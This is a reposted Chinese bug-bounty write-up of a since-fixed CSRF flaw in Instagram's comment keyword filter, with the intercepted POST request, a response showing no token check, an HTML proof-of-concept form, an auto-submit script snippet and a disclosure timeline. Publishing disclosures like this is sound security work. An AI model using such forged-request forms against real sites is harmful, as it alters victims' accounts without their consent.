声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |
背景介绍:
今天的漏洞来自国外的Mohamed Laajimi白帽子,他于今年年初在Instagram上发现了一处CSRF漏洞,最终获得Facebook奖励的25000美元的赏金。
该漏洞可以使攻击者通过利用CSRF漏洞,对Instagram上的其他用户修改评论关键字过滤器。在报告了该漏洞后,Facebook在内部研究时还发现了其它可能导致账户接管的攻击点。
漏洞利用步骤:
步骤1,打开:
https://www.instagram.com/accounts/comment_filter/
步骤2,添加“关键字”,然后打开Burpsuite的intercept拦截该请求:
POST /accounts/set_comment_filter_keywords_web/ HTTP/1.1
Host:www.instagram.com
在该请求中有一个有趣的header信息,X-CSRFToken,该信息用于验证请求是否来自帐户的所有者:
当删除该header报头后,请求被成功发送并获得响应:
HTTP 200 OK
status {ok}
可以看到,这里并没有对CSRF的token进行检查。
步骤3,编写该漏洞利用的EXP:
<html>
<head>
<title>exploit csrf</title>
</head>
<body>
<form action="https://www.instagram.com/accounts/set_comment_filter_keywords_web/" method="POST">
<input type="hidden" name="keywords" value="test" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
You can also include auto submit script
<script>
document.forms[0].submit
</script>
可以看到依然没有检查X-CSRFToken和Origin。
漏洞处理时间线:
16/01/2021:报告漏洞
19/01/2021: facebook确认该漏洞
22/02/2021: 漏洞修复&赏金支付
====正文结束====
原文始发于微信公众号(骨哥说事):【白帽故事】一枚价值$25000的Instagram CSRF漏洞